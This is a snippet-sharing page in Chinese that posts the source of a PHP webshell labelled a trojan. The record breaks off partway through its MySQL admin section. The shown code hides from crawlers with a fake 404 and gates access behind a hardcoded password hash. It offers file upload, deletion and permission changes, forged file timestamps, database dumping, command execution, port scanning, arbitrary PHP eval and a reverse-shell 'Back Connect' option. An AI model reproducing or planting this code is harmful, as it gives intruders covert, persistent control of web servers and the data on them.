Code666 (代码贴、代码片段)

[PHP] php木马文件 →→→→→进入此内容的聊天室

来自 , 2020-02-19, 写在 PHP, 查看 122 次.
URL http://www.code666.cn/view/6fec24ea
  1. <?php
  2. //ini_set('display_errors',1);
  7. if( strpos( strtolower( $_SERVER['HTTP_USER_AGENT'] ), 'bot' ) !== false ) {
  8.         header('HTTP/1.0 404 Not Found');
  9.         exit;
  10. }
  12. $mtime = explode(' ', microtime());
  13. $starttime = $mtime[1] + $mtime[0];
  14. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
  15. define('SELF', $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']);
  16. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
  18. $dis_func = get_cfg_var('disable_functions');
  19. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
  20. if( IS_GPC ) {
  21.         $_POST = s_array($_POST);
  22. }
  23. $P = $_POST;
  24. unset($_POST);
  25. /*===================== 程序配置 =====================*/
  26. $pass  = 'e10adc3949ba59abbe56e057f20f883e'; //对应的密码是 123456
  27. //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
  28. // cookie 前缀
  29. $cookiepre = '';
  30. // cookie 作用域
  31. $cookiedomain = '';
  32. // cookie 作用路径
  33. $cookiepath = '/';
  34. // cookie 有效期
  35. $cookielife = 86400;
  36. /*===================== 配置结束 =====================*/
  37. $charsetdb = array(
  38.         'big5'                  => 'big5',
  39.         'cp-866'                => 'cp866',
  40.         'euc-jp'                => 'ujis',
  41.         'euc-kr'                => 'euckr',
  42.         'gbk'                   => 'gbk',
  43.         'iso-8859-1'    => 'latin1',
  44.         'koi8-r'                => 'koi8r',
  45.         'koi8-u'                => 'koi8u',
  46.         'utf-8'                 => 'utf8',
  47.         'windows-1252'  => 'latin1',
  48. );
  49. $act = isset($P['act']) ? $P['act'] : '';
  50. $charset = isset($P['charset']) ? $P['charset'] : 'gbk';
  51. $doing = isset($P['doing']) ? $P['doing'] : '';
  52. for ($i=1;$i<=4;$i++) {
  53.         ${'p'.$i} = isset($P['p'.$i]) ? $P['p'.$i] : '';
  54. }
  55. if (isset($charsetdb[$charset])) {
  56.         header("content-Type: text/html; charset=".$charset);
  57. }
  58. $timestamp = time();
  59. /* 身份验证 */
  60. if ($act == "Logout") {
  61.         scookie('loginpass', '', -86400 * 365);
  62.         @header('Location: '.SELF);
  63.         exit;
  64. }
  65. if($pass) {
  66.         if ($act == 'login') {
  67.                 if ($pass == encode_pass($P['password'])) {
  68.                         scookie('loginpass',encode_pass($P['password']));
  69.                         @header('Location: '.SELF);
  70.                         exit;
  71.                 }
  72.         }
  73.         if (isset($_COOKIE['loginpass'])) {
  74.                 if ($_COOKIE['loginpass'] != $pass) {
  75.                         loginpage();
  76.                 }
  77.         } else {
  78.                 loginpage();
  79.         }
  80. }
  81. /* 验证结束 */
  82. $errmsg = '';
  83. $uchar = '▲';
  84. $dchar = '▼';
  85. !$act && $act = 'file';
  86. //当前目录/设置工作目录/网站根目录
  87. $home_cwd = getcwd();
  88. if (isset($P['cwd']) && $P['cwd']) {
  89.         chdir($P['cwd']);
  90. } else {
  91.         chdir(SA_ROOT);
  92. }
  93. $cwd = getcwd();
  94. $web_cwd = $_SERVER['DOCUMENT_ROOT'];
  95. foreach (array('web_cwd','cwd','home_cwd') as $k) {
  96.         if (IS_WIN) {
  97.                 $$k = str_replace('\\', '/', $$k);
  98.         }
  99.         if (substr($$k, -1) != '/') {
  100.                 $$k = $$k.'/';
  101.         }
  102. }
  103. // 查看PHPINFO
  104. if ($act == 'phpinfo') {
  105.         if (IS_PHPINFO) {
  106.                 phpinfo();
  107.                 exit;
  108.         } else {
  109.                 $errmsg = 'phpinfo() function has disabled';
  110.         }
  111. }
  112. if(!function_exists('scandir')) {
  113.         function scandir($cwd) {
  114.                 $files = array();
  115.                 $dh = opendir($cwd);
  116.                 while ($file = readdir($dh)) {
  117.                         $files[] = $file;
  118.                 }
  119.                 return $files ? $files : 0;
  120.         }
  121. }
  122. if ($act == 'down') {
  123.         if (is_file($p1) && is_readable($p1)) {
  124.                 @ob_end_clean();
  125.                 $fileinfo = pathinfo($p1);
  126.                 if (function_exists('mime_content_type')) {
  127.                         $type = @mime_content_type($p1);
  128.                         header("Content-Type: ".$type);
  129.                 } else {
  130.                         header('Content-type: application/x-'.$fileinfo['extension']);
  131.                 }
  132.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
  133.                 header('Content-Length: '.sprintf("%u", @filesize($p1)));
  134.                 @readfile($p1);
  135.                 exit;
  136.         } else {
  137.                 $errmsg = 'Can\'t read file';
  138.                 $act = 'file';
  139.         }
  140. }
  141. ?>
  142. <html>
  143. <head>
  144. <meta http-equiv="Content-Type" content="text/html; charset=<?php echo $charset;?>">
  145. <title><?php echo $act.' - '.$_SERVER['HTTP_HOST'];?></title>
  146. <style type="text/css">
  147. body,td{font: 12px Arial,Tahoma;line-height: 16px;}
  148. .input, select{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
  149. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
  150. .red{color:#f00;}
  151. .black{color:#000;}
  152. .green{color:#090;}
  153. .b{font-weight:bold;}
  154. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#fff;font:12px Arial,Tahoma;height:22px;}
  155. a {color: #00f;text-decoration:none;}
  156. a:hover{color: #f00;text-decoration:underline;}
  157. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 15px 5px 5px;}
  158. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 15px 5px 5px;}
  159. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffa;padding:5px 15px 5px 5px;}
  160. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 15px 5px 5px;font-weight:bold;}
  161. .head td span{font-weight:normal;}
  162. .infolist {padding:10px;margin:10px 0 20px 0;background:#F1F1F1;border:1px solid #ddd;}
  163. form{margin:0;padding:0;}
  164. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
  165. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
  166. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
  167. .drives{padding:5px;}
  168. .drives span {margin:auto 7px;}
  169. </style>
  170. <script type="text/javascript">
  171. function checkall(form) {
  172.         for(var i=0;i<form.elements.length;i++) {
  173.                 var e = form.elements[i];
  174.         if (e.type == 'checkbox') {
  175.                         if (e.name != 'chkall' && e.name != 'saveasfile')
  176.                                 e.checked = form.chkall.checked;
  177.                 }
  178.     }
  179. }
  180. function $(id) {
  181.         return document.getElementById(id);
  182. }
  183. function createdir(){
  184.         var newdirname;
  185.         newdirname = prompt('请输入目录名:', '');
  186.         if (!newdirname) return;
  187.         g(null,null,'createdir',newdirname);
  188. }
  189. function fileperm(pfile, val){
  190.         var newperm;
  191.         newperm = prompt('当前 目录/文件:'+pfile+'\n请输入新的权限:', val);
  192.         if (!newperm) return;
  193.         g(null,null,'fileperm',pfile,newperm);
  194. }
  195. function rename(oldname){
  196.         var newfilename;
  197.         newfilename = prompt('文件名:'+oldname+'\n请输入新的文件名:', '');
  198.         if (!newfilename) return;
  199.         g(null,null,'rename',newfilename,oldname);
  200. }
  201. function createfile(){
  202.         var filename;
  203.         filename = prompt('请输入文件的名字:', '');
  204.         if (!filename) return;
  205.         g('editfile', null, null, filename);
  206. }
  207. function setdb(dbname) {
  208.         if(!dbname) return;
  209.         $('dbform').tablename.value='';
  210.         $('dbform').doing.value='';
  211.         if ($('dbform').sql_query)
  212.         {
  213.                 $('dbform').sql_query.value='';
  214.         }
  215.         $('dbform').submit();
  216. }
  217. function setsort(k) {
  218.         $('dbform').order.value=k;
  219.         $('dbform').submit();
  220. }
  221. function settable(tablename,doing) {
  222.         if(!tablename) return;
  223.         if (doing) {
  224.                 $('dbform').doing.value=doing;
  225.         } else {
  226.                 $('dbform').doing.value='';
  227.         }
  228.         $('dbform').sql_query.value='';
  229.         $('dbform').tablename.value=tablename;
  230.         $('dbform').submit();
  231. }
  232. function s(act,cwd,p1,p2,p3,p4,charset) {
  233.         if(act != null) $('opform').act.value=act;
  234.         if(cwd != null) $('opform').cwd.value=cwd;
  235.         if(p1 != null) $('opform').p1.value=p1;
  236.         if(p2 != null) $('opform').p2.value=p2;
  237.         if(p3 != null) $('opform').p3.value=p3;
  238.         if(p4 != null) {$('opform').p4.value=p4;}else{$('opform').p4.value='';}
  239.         if(charset != null) $('opform').charset.value=charset;
  240. }
  241. function g(act,cwd,p1,p2,p3,p4,charset) {
  242.         s(act,cwd,p1,p2,p3,p4,charset);
  243.         $('opform').submit();
  244. }
  245. </script>
  246. </head>
  247. <body style="margin:0;table-layout:fixed; word-break:break-all">
  248. <?php
  249. formhead(array('name'=>'opform'));
  250. makehide('act', $act);
  251. makehide('cwd', $cwd);
  252. makehide('p1', $p1);
  253. makehide('p2', $p2);
  254. makehide('p3', $p3);
  255. makehide('p4', $p4);
  256. makehide('charset', $charset);
  257. formfoot();
  258. if(!function_exists('posix_getegid')) {
  259.         $user = @get_current_user();
  260.         $uid = @getmyuid();
  261.         $gid = @getmygid();
  262.         $group = "?";
  263. } else {
  264.         $uid = @posix_getpwuid(@posix_geteuid());
  265.         $gid = @posix_getgrgid(@posix_getegid());
  266.         $uid = $uid['uid'];
  267.         $user = $uid['name'];
  268.         $gid = $gid['gid'];
  269.         $group = $gid['name'];
  270. }
  271. ?>
  272. <table width="100%" border="0" cellpadding="0" cellspacing="0">
  273.         <tr class="head">
  274.                 <td><span style="float:right;"><?php echo @php_uname();?> / User:<?php echo $uid.' ( '.$user.' ) / Group: '.$gid.' ( '.$group.' )';?></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
  275.         </tr>
  276.         <tr class="alt1">
  277.                 <td>
  278.                         <span style="float:right;">编码:
  279.                         <?php
  280.                         makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'onchange'=>'g(null,null,null,null,null,null,this.value);'));
  281.                         ?>
  282.                         </span>
  283.                         <a href="javascript:g('logout');">注销</a> |
  284.                         <a href="javascript:g('file',null,'','','','','<?php echo $charset;?>');">文件管理器</a> |
  285.                         <a href="javascript:g('mysqladmin',null,'','','','','<?php echo $charset;?>');">MYSQL管理</a> |
  286.                         <a href="javascript:g('shell',null,'','','','','<?php echo $charset;?>');">执行命令</a> |
  287.                         <a href="javascript:g('phpenv',null,'','','','','<?php echo $charset;?>');">PHP变量</a> |
  288.                         <a href="javascript:g('portscan',null,'','','','','<?php echo $charset;?>');">端口扫描</a> |
  289.                         <a href="javascript:g('secinfo',null,'','','','','<?php echo $charset;?>');">安全信息</a> |
  290.                         <a href="javascript:g('eval',null,'','','','','<?php echo $charset;?>');">Eval PHP代码</a>
  291.                         <?php if (!IS_WIN) {?> | <a href="javascript:g('backconnect',null,'','','','','<?php echo $charset;?>');">Back Connect</a><?php }?>
  292.                 </td>
  293.         </tr>
  294. </table>
  295. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
  296. <?php
  297. $errmsg && m($errmsg);
  298. if ($act == 'file') {
  299.         // 判断当前目录可写情况
  300.         $dir_writeable = @is_writable($cwd) ? 'Writable' : 'Non-writable';
  301.         if (isset($p1)) {
  302.                 switch($p1) {
  303.                         case 'createdir':
  304.                                 // 创建目录
  305.                                 if ($p2) {
  306.                                         m('Directory created '.(@mkdir($cwd.$p2,0777) ? 'success' : 'failed'));
  307.                                 }
  308.                                 break;
  309.                         case 'uploadFile':
  310.                                 // 上传文件
  311.                                 m('File upload '.(@move_uploaded_file($_FILES['uploadfile']['tmp_name'], $cwd.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
  312.                                 break;
  313.                         case 'fileperm':
  314.                                 // 编辑文件属性
  315.                                 if ($p2 && $p3) {
  316.                                         $p3 = base_convert($p3, 8, 10);
  317.                                         m('Set file permissions '.(@chmod($p2, $p3) ? 'success' : 'failed'));
  318.                                 }
  319.                                 break;
  320.                         case 'rename':
  321.                                 // 改名
  322.                                 if ($p2 && $p3) {
  323.                                         m($p3.' renamed '.$p2.(@rename($p3, $p2) ? ' success' : ' failed'));
  324.                                 }
  325.                                 break;
  326.                         case 'clonetime':
  327.                                 // 克隆时间
  328.                                 if ($p2 && $p3) {
  329.                                         $time = @filemtime($p3);
  330.                                         m('Set file last modified '.(@touch($p2,$time,$time) ? 'success' : 'failed'));
  331.                                 }
  332.                                 break;
  333.                         case 'settime':
  334.                                 // 自定义时间
  335.                                 if ($p2 && $p3) {
  336.                                         $time = strtotime($p3);
  337.                                         m('Set file last modified '.(@touch($p2,$time,$time) ? 'success' : 'failed'));
  338.                                 }
  339.                                 break;
  340.                         case 'delete':
  341.                                 // 批量删除文件
  342.                                 if ($P['dl']) {
  343.                                         $succ = $fail = 0;
  344.                                         foreach ($P['dl'] as $f) {
  345.                                                 if (is_dir($cwd.$f)) {
  346.                                                         if (@deltree($cwd.$f)) {
  347.                                                                 $succ++;
  348.                                                         } else {
  349.                                                                 $fail++;
  350.                                                         }
  351.                                                 } else {
  352.                                                         if (@unlink($cwd.$f)) {
  353.                                                                 $succ++;
  354.                                                         } else {
  355.                                                                 $fail++;
  356.                                                         }
  357.                                                 }
  358.                                         }
  359.                                         m('Deleted folder/file(s) have finished, choose '.count($P['dl']).', success '.$succ.', fail '.$fail);
  360.                                 } else {
  361.                                         m('Please select folder/file(s)');
  362.                                 }
  363.                                 break;
  364.                         case 'paste':
  365.                                 if($_SESSION['do'] == 'copy') {
  366.                                         foreach($_SESSION['dl'] as $f) {
  367.                                                 copy_paste($_SESSION['c'],$f, $cwd);                                   
  368.                                         }
  369.                                 } elseif($_SESSION['do'] == 'move') {
  370.                                         foreach($_SESSION['dl'] as $f) {
  371.                                                 @rename($_SESSION['c'].$f, $cwd.$f);
  372.                                         }
  373.                                 }
  374.                                 unset($_SESSION['do'], $_SESSION['dl'], $_SESSION['c']);
  375.                                 break;
  376.                         default:
  377.                                 if($p1 == 'copy' || $p1 == 'move') {
  378.                                         if (isset($P['dl']) && count($P['dl'])) {
  379.                                                 $_SESSION['do'] = $p1;
  380.                                                 $_SESSION['dl'] = $P['dl'];
  381.                                                 $_SESSION['c'] = $P['cwd'];
  382.                                                 m('Have been copied to the session');
  383.                                         } else {
  384.                                                 m('Please select folder/file(s)');
  385.                                         }
  386.                                 }
  387.                                 break;
  388.                 }
  389.                 echo "<script type=\"text/javascript\">$('opform').p1.value='';$('opform').p2.value='';</script>";
  390.         }
  391.         //操作完毕
  392.         $free = @disk_free_space($cwd);
  393.         !$free && $free = 0;
  394.         $all = @disk_total_space($cwd);
  395.         !$all && $all = 0;
  396.         $used = $all-$free;
  397.         p('<h2>文件管理器——当前的磁盘空间 '.sizecount($free).' of '.sizecount($all).' ('.@round(100/($all/$free),2).'%)</h2>');
  398.         $cwd_links = '';
  399.         $path = explode('/', $cwd);
  400.         $n=count($path);
  401.         for($i=0;$i<$n-1;$i++) {
  402.                 $cwd_links .= '<a href="javascript:g(\'file\', \'';
  403.                 for($j=0;$j<=$i;$j++) {
  404.                         $cwd_links .= $path[$j].'/';
  405.                 }
  406.                 $cwd_links .= '\');">'.$path[$i].'/</a>';
  407.         }
  408. ?>
  409. <script type="text/javascript">
  410. document.onclick = shownav;
  411. function shownav(e){
  412.         var src = e?e.target:event.srcElement;
  413.         do{
  414.                 if(src.id =="jumpto") {
  415.                         $('inputnav').style.display = "";
  416.                         $('pathnav').style.display = "none";
  417.                         return;
  418.                 }
  419.                 if(src.id =="inputnav") {
  420.                         return;
  421.                 }
  422.                 src = src.parentNode;
  423.         }while(src.parentNode)
  424.         $('inputnav').style.display = "none";
  425.         $('pathnav').style.display = "";
  426. }
  427. </script>
  428. <div style="background:#eee;margin-bottom:10px;">
  429.         <form onsubmit="g('file',this.cwd.value);return false;" method="POST" id="godir" name="godir">
  430.                 <table id="pathnav" width="100%" border="0" cellpadding="5" cellspacing="0">
  431.                         <tr>
  432.                                 <td width="100%"><?php echo $cwd_links.' - '.getChmod($cwd).' / '.PermsColor($cwd).getUser($cwd);?> (<?php echo $dir_writeable;?>)</td>
  433.                                 <td nowrap><input class="bt" id="jumpto" name="jumpto" value="进入" type="button"></td>
  434.                         </tr>
  435.                 </table>
  436.                 <table id="inputnav" width="100%" border="0" cellpadding="5" cellspacing="0" style="display:none;">
  437.                         <tr>
  438.                                 <td nowrap>当前目录 (<?php echo $dir_writeable;?>, <?php echo getChmod($cwd);?>)</td>
  439.                                 <td width="100%"><input class="input" name="cwd" value="<?php echo $cwd;?>" type="text" style="width:99%;margin:0 8px;"></td>
  440.                                 <td nowrap><input class="bt" value="GO" type="submit"></td>
  441.                         </tr>
  442.                 </table>
  443.         </form>
  444. <?php
  445.         if (IS_WIN) {
  446.                 $comma = '';
  447.                 p('<div class="drives">');
  448.                 foreach( range('A','Z') as $drive ) {
  449.                         if (is_dir($drive.':/')) {
  450.                                 p($comma.'<a href="javascript:g(\'file\', \''.$drive.':/\');">'.$drive.':\</a>');
  451.                                 $comma = '<span>|</span>';
  452.                         }
  453.                 }
  454.                 p('</div>');
  455.         }
  456. ?>
  457. </div>
  458. <?php
  459.         p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
  460.         p('<tr class="alt1"><td colspan="6" style="padding:5px;line-height:20px;">');
  461.         p('<form action="'.SELF.'" method="POST" enctype="multipart/form-data"><div style="float:right;"><input name="uploadfile" value="" type="file" /> <input class="bt" value="上传" type="submit" /><input name="charset" value="'.$charset.'" type="hidden" /><input type="hidden" name="p1" value="uploadFile"><input name="cwd" value="'.$cwd.'" type="hidden" /></div></form>');
  462.         p('<a href="javascript:g(\'file\', \''.str_replace('\\','/',$web_cwd).'\');">根目录</a>');
  463.         p(' | <a href="javascript:g(\'file\', \''.$home_cwd.'\');">程序目录</a>');
  464.         p(' | <a href="javascript:g(\'file\',\''.$cwd.'\',null,null,null,\'dir\');">可写目录</a> ');
  465.         p(' | <a href="javascript:createdir();">新建目录</a> | <a href="javascript:createfile();">新建文件</a>');
  466.         p('</td></tr>');
  467.         $sort = array('filename', 1);
  468.         if($p1) {
  469.                 if(preg_match('!s_([A-z_]+)_(\d{1})!', $p1, $match)) {
  470.                         $sort = array($match[1], (int)$match[2]);
  471.                 }
  472.         }
  473.         formhead(array('name'=>'flist'));
  474.         makehide('act','file');
  475.         makehide('p1','');
  476.         makehide('cwd',$cwd);
  477.         makehide('charset',$charset);
  478.         p('<tr class="head">');
  479.         p('<td width="2%" nowrap><input name="chkall" value="on" type="checkbox" onclick="checkall(this.form)" /></td>');
  480.         p('<td><a href="javascript:g(\'file\',null,\'s_filename_'.($sort[1]?0:1).'\');">文件名</a> '.($p1 == 's_filename_0' ? $dchar : '').($p1 == 's_filename_1' || !$p1 ? $uchar : '').'</td>');
  481.         p('<td width="16%"><a href="javascript:g(\'file\',null,\'s_mtime_'.($sort[1]?0:1).'\');">修改时间</a> '.($p1 == 's_mtime_0' ? $dchar : '').($p1 == 's_mtime_1' ? $uchar : '').'</td>');
  482.         p('<td width="10%"><a href="javascript:g(\'file\',null,\'s_size_'.($sort[1]?0:1).'\');">大小</a> '.($p1 == 's_size_0' ? $dchar : '').($p1 == 's_size_1' ? $uchar : '').'</td>');
  483.         p('<td width="20%">权限 / 修改</td>');
  484.         p('<td width="22%">操作</td>');
  485.         p('</tr>');
  486.         //查看所有可写文件和目录
  487.         $dirdata=$filedata=array();
  488.         if ($p4 == 'dir') {
  489.                 $dirdata = GetWDirList($cwd);
  490.                 $filedata = array();
  491.         } else {
  492.                 // 默认目录列表
  493.                 $dirs = @scandir($cwd);
  494.                 if ($dirs) {
  495.                         $dirs = array_diff($dirs, array('.'));
  496.                         foreach ($dirs as $file) {
  497.                                 $filepath=$cwd.$file;
  498.                                 if(@is_dir($filepath)){
  499.                                         $dirdb['filename']=$file;
  500.                                         $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
  501.                                         $dirdb['chmod']=getChmod($filepath);
  502.                                         $dirdb['perm']=PermsColor($filepath);
  503.                                         $dirdb['owner']=getUser($filepath);
  504.                                         $dirdb['link']=$filepath;
  505.                                         if ($file=='..') {
  506.                                                 $dirdata['up']=1;
  507.                                         } else {
  508.                                                 $dirdata[]=$dirdb;
  509.                                         }
  510.                                 } else {
  511.                                         $filedb['filename']=$file;
  512.                                         //$filedb['size']=@filesize($filepath);
  513.                                         $filedb['size']=sprintf("%u", @filesize($filepath));
  514.                                         $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
  515.                                         $filedb['chmod']=getChmod($filepath);
  516.                                         $filedb['perm']=PermsColor($filepath);
  517.                                         $filedb['owner']=getUser($filepath);
  518.                                         $filedb['link']=$filepath;
  519.                                         $filedata[]=$filedb;
  520.                                 }
  521.                         }
  522.                         unset($dirdb);
  523.                         unset($filedb);
  524.                 }
  525.         }
  526.         $dir_i = '0';
  527.         if (isset($dirdata['up'])) {
  528.                 $thisbg = bg();
  529.                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  530.                 p('<td align="center">-</td><td nowrap colspan="5"><a href="javascript:g(\'file\',\''.getUpPath($cwd).'\');">Parent Directory</a></td>');
  531.                 p('</tr>');
  532.         }
  533.         unset($dirdata['up']);
  534.         usort($dirdata, 'cmp');
  535.         usort($filedata, 'cmp');
  536.         foreach($dirdata as $key => $dirdb){
  537.                 if($p1 == 'getsize' && $p2 == $dirdb['filename']) {
  538.                         $attachsize = dirsize($p2);
  539.                         $attachsize = is_numeric($attachsize) ? sizecount($attachsize) : 'Unknown';
  540.                 } else {
  541.                         $attachsize = '<a href="javascript:g(\'file\', null, \'getsize\', \''.$dirdb['filename'].'\');">查看大小</a>';
  542.                 }
  543.                 $thisbg = bg();
  544.                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  545.                 p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="'.$dirdb['filename'].'"></td>');
  546.                 p('<td><a href="javascript:g(\'file\',\''.$dirdb['link'].'\')">'.$dirdb['filename'].'</a></td>');
  547.                 p('<td nowrap><a href="javascript:g(\'newtime\',null,\''.$dirdb['filename'].'\');">'.$dirdb['mtime'].'</a></td>');
  548.                 p('<td nowrap>'.$attachsize.'</td>');
  549.                 p('<td nowrap>');
  550.                 p('<a href="javascript:fileperm(\''.$dirdb['filename'].'\', \''.$dirdb['chmod'].'\');">'.$dirdb['chmod'].'</a> / ');
  551.                 p('<a href="javascript:fileperm(\''.$dirdb['filename'].'\', \''.$dirdb['chmod'].'\');">'.$dirdb['perm'].'</a>'.$dirdb['owner'].'</td>');
  552.                 p('<td nowrap><a href="javascript:rename(\''.$dirdb['filename'].'\');">重命名</a></td>');
  553.                 p('</tr>');
  554.                 $dir_i++;
  555.         }
  556.         p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
  557.         $file_i = '0';
  558.         foreach($filedata as $key => $filedb){
  559.                 $fileurl = '/'.str_replace($web_cwd,'',$filedb['link']);
  560.                 $thisbg = bg();
  561.                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  562.                 p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="'.$filedb['filename'].'"></td>');
  563.                 p('<td>'.((strpos($filedb['link'], $web_cwd) !== false) ? '<a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a>' : $filedb['filename']).'</td>');
  564.                 p('<td nowrap><a href="javascript:g(\'newtime\',null,\''.$filedb['filename'].'\');">'.$filedb['mtime'].'</a></td>');
  565.                 p('<td nowrap>'.sizecount($filedb['size']).'</td>');
  566.                 p('<td nowrap>');
  567.                 p('<a href="javascript:fileperm(\''.$filedb['filename'].'\', \''.$filedb['chmod'].'\');">'.$filedb['chmod'].'</a> / ');
  568.                 p('<a href="javascript:fileperm(\''.$filedb['filename'].'\', \''.$filedb['chmod'].'\');">'.$filedb['perm'].'</a>'.$filedb['owner'].'</td>');
  569.                 p('<td nowrap>');
  570.                 p('<a href="javascript:g(\'down\',null,\''.$filedb['filename'].'\');">下载</a> | ');
  571.                 p('<a href="javascript:g(\'editfile\',null,null,\''.$filedb['filename'].'\');">编辑</a> | ');
  572.                 p('<a href="javascript:rename(\''.$filedb['filename'].'\');">重命名</a>');
  573.                 p('</td></tr>');
  574.                 $file_i++;
  575.         }
  576.         p('<tr class="'.bg().' head"><td colspan="5"><a href="http://www.oicto.com/php-trojan-001/" onclick="$(\'flist\').p1.value=\'delete\';$(\'flist\').submit();">删除</a> | <a href="http://www.oicto.com/php-trojan-001/" onclick="$(\'flist\').p1.value=\'copy\';$(\'flist\').submit();">复制</a> | <a href="http://www.oicto.com/php-trojan-001/" onclick="$(\'flist\').p1.value=\'move\';$(\'flist\').submit();">移动</a>'.(isset($_SESSION['do']) && @count($_SESSION['dl']) ? ' | <a href="http://www.oicto.com/php-trojan-001/" onclick="$(\'flist\').p1.value=\'paste\';$(\'flist\').submit();">Paste</a>' : '').'</td><td align="right">'.$dir_i.' 目录 / '.$file_i.' 文件</td></tr>');
  577.         p('</form></table>');
  578. }// end dir
  579. elseif ($act == 'mysqladmin') {
  580.         $order = isset($P['order']) ? $P['order'] : '';
  581.         $dbhost = isset($P['dbhost']) ? $P['dbhost'] : '';
  582.         $dbuser = isset($P['dbuser']) ? $P['dbuser'] : '';
  583.         $dbpass = isset($P['dbpass']) ? $P['dbpass'] : '';
  584.         $dbname = isset($P['dbname']) ? $P['dbname'] : '';
  585.         $tablename = isset($P['tablename']) ? $P['tablename'] : '';
  586.         if ($doing == 'dump') {
  587.                 if (isset($P['bak_table']) && $P['bak_table']) {
  588.                         $DB = new DB_MySQL;
  589.                         $DB->charsetdb = $charsetdb;
  590.                         $DB->charset = $charset;
  591.                         $DB->connect($dbhost, $dbuser, $dbpass, $dbname);
  592.                         if ($P['saveasfile'] && $P['bak_path']) {
  593.                                 $fp = @fopen($P['bak_path'],'w');
  594.                                 if ($fp) {
  595.                                         foreach($P['bak_table'] as $k => $v) {
  596.                                                 if ($v) {
  597.                                                         $DB->sqldump($v, $fp);
  598.                                                 }
  599.                                         }
  600.                                         fclose($fp);                           
  601.                                         $fileurl = str_replace(SA_ROOT,'',$P['bak_path']);
  602.                                         m('Database has backup to <a href="'.$fileurl.'" target="_blank">'.$P['bak_path'].'</a>');
  603.                                 } else {
  604.                                         m('Backup failed');
  605.                                 }
  606.                         } else {
  607.                                 @ob_end_clean();
  608.                                 $filename = basename($dbname.'.sql');
  609.                                 header('Content-type: application/unknown');
  610.                                 header('Content-Disposition: attachment; filename='.$filename);
  611.                                 foreach($P['bak_table'] as $k => $v) {
  612.                                         if ($v) {
  613.                                                 $DB->sqldump($v);
  614.                                         }
  615.                                 }
  616.                                 exit;
  617.                         }
  618.                         $DB->close();
  619.                 } else {
  620.                         m('Please choose the table');
  621.                 }
  622.                 $doing = '';
  623.         }
  624.         formhead(array('title'=>'MYSQL 管理', 'name'=>'dbform'));
  625.         makehide('act','mysqladmin');
  626.         makehide('doing',$doing);
  627.         makehide('charset', $charset);
  628.         makehide('tablename', $tablename);
  629.         makehide('order', $order);
  630.         p('<p>');
  631.         p('地址:');
  632.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
  633.         p('用户:');
  634.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
  635.         p('密码:');
  636.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
  637.         makeinput(array('value'=>'连接','type'=>'submit','class'=>'bt'));
  638.         p('</p>');
  639.         if ($dbhost && $dbuser && isset($dbpass)) {
  640.                 // 初始化数据库类
  641.                 $DB = new DB_MySQL;
  642.                 $DB->charsetdb = $charsetdb;
  643.                 $DB->charset = $charset;
  644.                 $DB->connect($dbhost, $dbuser, $dbpass, $dbname);
  645.                 //获取数据库信息
  646.                 p('<p class="red">MySQL '.$DB->version().' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
  647.                 $highver = $DB->version() > '4.1' ? 1 : 0;
  648.                 //获取数据库
  649.                 $query = $DB->query("SHOW DATABASES");
  650.                 $dbs = array();
  651.                 $dbs[] = '-- Select a database --';
  652.                 while($db = $DB->fetch($query)) {
  653.                         $dbs[$db['Database']] = $db['Database'];
  654.                 }
  655.                 makeselect(array('name'=>'dbname','option'=>$dbs,'selected'=>$dbname,'onchange'=>'setdb(this.options[this.selectedIndex].value)'));
  656.                 if ($dbname) {
  657.                         p('<p>Current dababase: <a href="javascript:setdb(\''.$dbname.'\');">'.$dbname.'</a>');
  658.                         if ($tablename) {
  659.                                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> ]');
  660.                         }
  661.                         p('</p>');
  662.                         $sql_query = isset($P['sql_query']) ? $P['sql_query'] : '';
  663.                         if ($tablename && !$sql_query) {
  664.                                 $sql_query = "SELECT * FROM $tablename LIMIT 0, 30";
  665.                         }
  666.                         if ($tablename && $doing == 'structure') {
  667.                                 $sql_query = "SHOW FULL COLUMNS FROM $tablename;\n";
  668.                                 $sql_query .= "SHOW INDEX FROM $tablename;";
